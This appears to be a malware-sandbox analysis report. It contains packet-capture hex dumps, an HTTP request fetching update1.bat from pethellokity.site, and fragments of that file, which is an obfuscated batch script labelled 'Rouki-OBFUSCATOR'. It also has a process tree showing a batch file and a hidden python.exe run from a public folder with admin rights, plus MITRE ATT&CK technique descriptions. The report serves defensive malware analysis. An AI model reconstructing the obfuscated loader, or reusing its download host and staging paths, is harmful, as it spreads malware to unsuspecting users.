2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 48 a3 69 f2 11 3e 32 06 5b 9e f2 60 2f d7 09 80 7f d5 b0 3c 62 66 35 20 bc a3 04 3c 34 4d 7b ee 79 d0 f2 00 6d e9 04 5e 49 27 25 75 0b 98 36 e3 90 dd ce a8 07 58 d2 1f dc ab 12 9a e5 ca 16 33 b6 4d 97 6a 95 ac 63 3b 52 78 af 4a 6c 76 57 52 7c 8d 75 bf d0 36 52 7c af 4a ea 84 7a 6a 0c fc d8 d2 91 42 75 f8 61 55 24 b8 97 16 dd bd 2a be 79 2c 59 ea 1b fc 1c d2 64 bf 5a 15 35 11 86 e3 ba da 36 56 aa 06 9b 42 06 d6 f5 18 f0 53 26 8a a3 0f 01 69 7b a5 3a fa 48 76 43 83 9b 12 d2 1b 04 b6 91 52 bc e9 d9 b3 c5 ae 7f b3 4d 53 f7 2b 29 1d 70 5f 69 8b f3 c5 ec 06 4f 95 f1 5e fc c1 da c6 9c 97 61 ce 07 33 e7 3d cb f9 72 9e 63 3d 57 de 43 3c 6c c7 e0 7d 7f b3 17 b8 06 50 d8 53 cc a0 4a eb 61 3b 76 67 09 7a f4 ef 76 bb 43 07 63 63 e7 94 c6 c6 c3 05 cd de 4a 8a 84 02 7c Data Ascii: Hi>2[`/<bf5 <4M{ym^I'%u6X3Mjc;RxJlvWR\|u6R\|JzjBuaU$*y,YdZ56VBS&i{:HvCRMS+)p_iO^a3=rc=WC<l}PSJa;vgzvCccJ\|
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 3a 0d 2b ff 61 65 69 0c 4f ed 51 23 59 ab 2c b8 9d 96 69 d4 d8 84 72 b5 c7 11 a0 23 64 6e b6 8b c1 72 f0 b4 e8 48 ab d7 97 43 c1 d7 ea d9 38 c2 2e 19 56 e1 c2 43 e6 e0 61 7a 17 3e 32 77 1b 66 c2 a0 93 68 c7 83 c7 76 6b 93 2c 57 4e 82 5b c2 63 8e 46 49 c9 ba ca 1c 5f 15 25 ba 83 af eb 5b 6b 78 2a 9b e8 da 30 7c b5 1c e2 ea 21 b0 0b ff be 4a 55 4a 3e 02 eb a2 17 6e 2b d4 ae a2 2e e0 da 1d 75 4b 76 ff ec 96 e3 ae f6 a8 84 b2 ff 82 22 d5 a2 1e 43 d9 83 57 95 cd 4b 06 41 c9 ee ab be 12 eb 6b 6c 84 07 44 7c 8d 7f cd 66 0b 12 b2 69 9d 73 e6 c3 df c0 9c 1c 20 cf ab 25 2b 2f cb 48 8f 5a ce 3c 52 c9 65 dd ab 86 54 59 a6 50 a2 ef a2 c1 b9 ac 11 57 8b 0e 46 23 e6 27 85 36 51 55 34 fe c5 42 95 cc 1c 69 ad 91 55 8b b6 01 2a 62 12 b6 46 33 bf 34 14 d4 aa 7a d4 a9 a2 eb Data Ascii: :+aeiOQ#Y,ir#dnrHC8.VCaz>2wfhvk,WN[cFI_%[kx0\|!JUJ>n+.uKv"CWKAklD\|fis %+/HZ<ReTYPWF#'6QU4BiUbF34z
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 93 5e c7 e1 6e 1c 4e 73 b8 3b 87 37 b5 c1 c5 d3 58 dc 93 c3 fd a7 b5 2e 2f e7 70 c7 f7 0e 88 36 e9 8a 36 b8 6e 5a eb f6 25 4c 6b 5d 5f 2a 87 7b 70 78 5e 9b f2 85 1c ee 78 8a 38 dc f1 69 82 b2 36 f4 57 72 b8 a3 cc 6a 0e e7 73 78 79 1b 7c 7d 9b fc 9b db a4 6f 6b 83 ef 68 83 ef 9a d6 9a df 07 da a4 d7 b4 a1 7f ac 4d 7a 6d 1b fc db 36 f9 eb da e0 3f b4 c1 eb 39 5c c0 e1 57 da a4 d3 6d f0 1b 6d f0 c6 36 f5 df 69 93 de d4 26 fd 71 9b 74 34 bd 75 ba 70 7a eb 74 71 1b dc b3 0d 2e 6d 53 de b7 0d ee df 06 0f 6c 83 cb da e0 f2 36 78 70 1b fc 85 e9 ad f9 45 b4 c1 23 da e4 8f 6c 83 0f 6d 83 2b a6 b7 91 f7 36 b8 7e 7a 6b f9 4c 9d de 5a 5e f2 38 dc 97 c3 cb da a4 97 73 78 3b 0e df c5 e1 8e 0f 9a d4 71 78 10 87 37 b5 49 f7 9f d1 3a 3d 72 46 eb f4 04 0e ef c1 e1 f9 1c de Data Ascii: ^nNs;7X./p66nZ%Lk]_*{px^x8i6Wrjsxy\|}okhMzm6?9\Wmm6i&qt4upztq.mSl6xpE#lm+6~zkLZ^8sx;qx7I:=rF
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 74 0d 5e 77 58 b4 27 68 d8 4d c5 7c 30 68 a5 31 c0 53 60 b4 1e 68 17 43 87 47 41 de ae 80 4f 8c 53 c5 75 4f f9 8e 5f 5b 7d 61 cc 57 23 26 ee e2 3f 19 ce f0 23 79 c8 f4 24 22 74 7a 62 6e 56 f6 dc e9 a1 61 d3 73 a6 4f 9f 95 96 99 94 9d 66 cc 99 9e 94 91 3c 28 22 db 68 c6 31 2c 32 7d fa 3c 43 b6 25 d3 9c 96 61 0c 8d 20 12 43 43 98 d8 10 53 72 cb 57 21 61 e6 49 07 73 df a2 94 67 30 5b 8b d2 d1 ec 27 38 1d 71 72 82 68 6e 17 1b 97 d7 fc 6d cb 90 34 fc 2d 49 f9 40 c4 ce 73 c6 c7 0a 21 08 43 ca 6c 66 7e 31 bc 0e 99 6d 4c 85 65 ca 8c d8 b9 cf 7c c2 32 64 76 4a 5a 72 0e f8 82 80 4b c1 11 72 7c e3 12 cf 83 74 9e 03 97 67 73 f3 15 9f 5c 3a e2 e6 65 a5 9b 33 92 39 5d a8 e2 37 c7 2f 58 b0 20 79 d6 6c 3c 1f 52 41 36 c0 d9 0d c9 63 69 36 cd 05 bd 88 1c b8 3c 0f 39 7d fb Data Ascii: t^wX'hM\|0h1S`hCGAOSuO_[}aW#&?#y$"tzbnVasOf<("h1,2}<C%a CCSrW!aIsg0['8qrhnm4-I@s!Clf~1mLe\|2dvJZrKr\|tgs\:e39]7/X yl<RA6ci6<9}
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 6e 87 0e ba af 4c 4e ce 36 62 5b e5 a8 40 9b 95 94 cc a5 ab f3 a6 20 74 11 f7 4b 9b 95 35 d7 62 1a 65 c9 64 4f 53 33 cd 50 18 fd 82 53 26 65 c2 a8 24 ab f3 50 9c 70 82 c5 98 3d 5f 67 cc 4e c9 ca ce 48 ca 34 18 99 36 02 17 64 b8 96 18 96 f5 3a 96 d7 9a 64 24 77 8a 8d 67 76 34 20 12 dd c6 b1 71 f3 73 cc c6 8c 78 10 12 65 0e e6 26 0e a1 ef 71 6d 31 49 26 d0 37 40 39 93 f9 e2 fa af 38 6e 32 bb 07 c8 36 04 a1 03 a2 49 99 ec f0 27 37 8f 0e 10 c1 0d 41 56 cc e7 e7 26 77 7d ba 9d 68 ad 28 de 21 f9 8e 28 54 2a d0 e4 70 48 56 f6 28 63 12 6e 91 0e d8 07 c5 d0 58 f5 c4 71 6a 6d 78 18 2b 35 ff f7 fc ef 7e 1c 6b b3 e3 39 3e 43 76 3a e5 5b bb dd 71 9b 92 c7 d9 02 03 1c 07 5a 4d 2c b0 ac 64 a1 74 56 eb fd 88 90 11 ca c9 b3 92 92 5b f4 93 22 c7 9c ac 50 3c 33 5f db 3c cf Data Ascii: nLN6b[@ tK5bedOS3PS&e$Pp=_gNH46d:d$wgv4 qsxe&qm1I&7@98n26I'7AV&w}h(!(T*pHV(cnXqjmx+5~k9>Cv:[qZM,dtV["P<3_<

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:56:36 UTC	78	OUT	GET /update1.bat HTTP/1.1 Host: pethellokity.site Connection: Keep-Alive
2024-12-19 07:56:36 UTC	655	IN	HTTP/1.1 200 OK Connection: close Content-Length: 6337732 Server: GitHub.com Content-Type: application/x-msdownload Last-Modified: Sun, 08 Dec 2024 19:08:58 GMT Access-Control-Allow-Origin: * ETag: "6755eeca-60b4c4" expires: Thu, 19 Dec 2024 08:06:36 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: F2EB:15BE6F:28C92D4:2D6F650:6763D1B4 Accept-Ranges: bytes Age: 0 Date: Thu, 19 Dec 2024 07:56:36 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740047-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734594996.256685,VS0,VE94 Vary: Accept-Encoding X-Fastly-Request-ID: 8017c04c4aab797fa7a452ad7d2a46e58fd5c0dc
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: ff fe 0d 0a 65 5e 25 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 5e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 63 68 25 28 e2 97 95 e2 80 bf e2 97 95 29 e2 94 8c 28 20 e0 b2 a0 5e 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 25 25 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 Data Ascii: e^%( _)(_)()(_)( _)^( _)%ch%()( ^_)( _)(_)()()%%()( _)(_)( _)
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 5e 65 25 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 5e 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 25 74 20 f0 9d a7 bd 3d 20 1b 63 0d 0a 3a 52 6f 75 6b 69 2d 4f 42 46 55 53 43 41 54 4f 52 0d 0a 0d 0a 3b 53 45 5e 54 20 22 5f 5f 61 75 74 68 6f 72 5f 5f 3d 45 73 63 61 4c 61 67 22 0d 0a 3b 53 45 5e 54 20 22 5f 5f 67 69 74 68 75 62 5f 5f 3d 67 69 74 68 75 62 2e 63 6f 6d 2f 72 6f 75 6b 69 22 0d 0a 0d 0a 65 63 25 d8 aa ef ae b1 ef ae 9a ef ba 96 ef bb 81 d9 83 5e 25 5e 25 ef b7 bd 5e ef ad b2 ef ba 96 d9 83 ef ae 9a ef ae 9a 25 68 25 ef ae 9a d8 b3 ef ae b1 5e ef ad ab Data Ascii: ^e%( _)(_)^( _)()( _)(_)%t = c:Rouki-OBFUSCATOR;SE^T "__author__=EscaLag";SE^T "__github__=github.com/rouki"ec%^%^%^%h%^
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 49 20 25 25 61 20 25 6c 6c 6c 6c 69 69 6c 69 69 6c 6c 25 26 26 65 25 d8 b3 ef ae b1 d8 b3 ef af 94 ef af 94 5e ef ae 9a 25 25 ef ba bc ef af 94 ef ae 9a ef ba b9 ef ae b1 ef af a4 5e 25 78 69 25 ef ae 9a ef ae b1 ef b7 bd 5e ef ae a2 ef ad ab ef ae a2 25 5e 74 0d 0a 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 32 34 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 34 30 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 36 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 31 38 2c 31 25 20 22 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 33 31 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 33 39 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 32 35 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf Data Ascii: I %%a %lllliiliill%&&e%^%%^%xi%^%^t%:~24,1%%:~40,1%%:~6,1%%:~18,1% "%:~31,1%%:~39,1%%:~25,1%%
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: a5 bf e5 9f 83 e9 98 bf 3a 7e 32 30 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 36 30 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 33 34 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 35 38 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 36 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 32 31 2c 31 25 22 0d 0a 40 66 25 28 e2 8a 99 cf 89 e2 8a 99 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 5e 25 5e 69 25 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e2 94 8c 28 20 e0 b2 a0 Data Ascii: :~20,1%%:~60,1%%:~34,1%%:~58,1%%:~6,1%%:~21,1%"@f%()(_)()()()()^%^i%(_)( _)( _)(
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 7e 33 33 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 31 31 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 31 34 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 33 35 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 31 32 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 35 31 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 38 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 33 31 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 36 34 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 31 37 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 34 37 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 32 30 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 31 38 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 Data Ascii: ~33,1%%:~11,1%%:~14,1%%:~35,1%%:~12,1%%:~51,1%%:~8,1%%:~31,1%%:~64,1%%:~17,1%%:~47,1%%:~20,1%%:~18,1%%
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 97 95 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 5e 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 25 6f 25 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 8a 99 cf 89 e2 8a 99 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 5e 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 25 5e 74 20 64 25 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 5e e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 Data Ascii: )( _)()(^ _)()()%o%(_)()()(_)^( _)(_)%^t d%(_)()()(_)(^)(_)
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 31 39 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 34 34 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 32 35 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 33 30 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 31 34 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 33 38 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 31 30 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 35 38 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 36 32 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 32 32 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 34 37 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 35 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 39 2c Data Ascii: :~19,1%%:~44,1%%:~25,1%%:~30,1%%:~14,1%%:~38,1%%:~10,1%%:~58,1%%:~62,1%%:~22,1%%:~47,1%%:~5,1%%:~9,
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 32 34 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 31 38 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 33 36 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 35 35 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 31 33 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 32 32 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 30 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 31 34 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 35 31 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 34 32 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 32 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 32 33 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e Data Ascii: 1%%:~24,1%%:~18,1%%:~36,1%%:~55,1%%:~13,1%%:~22,1%%:~0,1%%:~14,1%%:~51,1%%:~42,1%%:~2,1%%:~23,1%%:~
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 97 95 29 28 e2 8a 99 cf 89 e2 8a 99 29 28 e2 97 95 e2 80 bf e2 97 95 29 25 6f 75 25 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e3 83 be 28 e2 8c 90 e2 96 a0 5e 5f e2 96 a0 29 e3 83 8e 28 e2 8a 99 cf 89 e2 8a 99 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 25 6b 5e 25 28 e2 97 95 e2 80 bf e2 97 95 29 28 e2 97 95 e2 80 bf e2 97 95 29 e3 83 be 28 e2 8c 90 e2 96 a0 5f e2 96 a0 29 e3 83 8e 28 e2 8a 99 cf 89 e2 8a 99 29 e2 94 8c 28 20 e0 b2 a0 5f e0 b2 a0 29 e2 94 98 28 5e e2 97 95 e2 80 bf e2 97 95 29 25 69 20 4f 42 46 55 5e 25 e6 b3 95 e9 ad 94 5e e9 ad 94 e5 ad 97 e6 81 af e9 ad 94 25 25 e7 a7 98 e6 98 af e5 ad 97 e5 b7 b2 e6 b3 95 e9 80 99 5e 25 25 e8 ad Data Ascii: )()()%ou%()(_)(^_)()(_)( _)%k^%()()(_)()( _)(^)%i OBFU^%^%%^%%
2024-12-19 07:56:36 UTC	1378	IN	Data Raw: 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 34 32 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 36 34 2c 31 25 25 e6 96 af e8 89 b2 e5 be b7 e8 80 bb 3a 7e 35 33 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 34 32 2c 31 25 25 e6 96 af e8 89 b2 e5 be b7 e8 80 bb 3a 7e 33 37 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 34 35 2c 31 25 25 e8 89 b2 e9 98 bf e5 b0 94 e8 89 b2 3a 7e 33 34 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 36 30 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 33 30 2c 31 25 25 e8 b1 86 e6 96 af e9 a5 bf e6 96 af 3a 7e 33 35 2c 31 25 25 e7 bb b4 e9 a5 bf e5 9f 83 e9 98 bf 3a 7e 36 31 2c 31 25 25 e6 96 af e7 88 b1 e8 80 bb e5 be b7 3a 7e 35 37 2c 31 25 25 e6 96 af e8 89 b2 e5 be b7 e8 80 bb 3a 7e Data Ascii: %:~42,1%%:~64,1%%:~53,1%%:~42,1%%:~37,1%%:~45,1%%:~34,1%%:~60,1%%:~30,1%%:~35,1%%:~61,1%%:~57,1%%:~

Target ID:	0
Start time:	02:56:30
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\main1.bat" "
Imagebase:	0x7ff7c83b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	02:57:38
Start date:	19/12/2024
Path:	C:\Users\Public\Document\python.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\Public\Document\python.exe" C:\Users\Public\\Document\\Lib\\temp.py
Imagebase:	0x7ff7c9e20000
File size:	103'192 bytes
MD5 hash:	A7F3026E4CF239F0A24A021751D17AE2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	10
Start time:	02:57:49
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff7c83b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	02:57:51
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff7c83b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre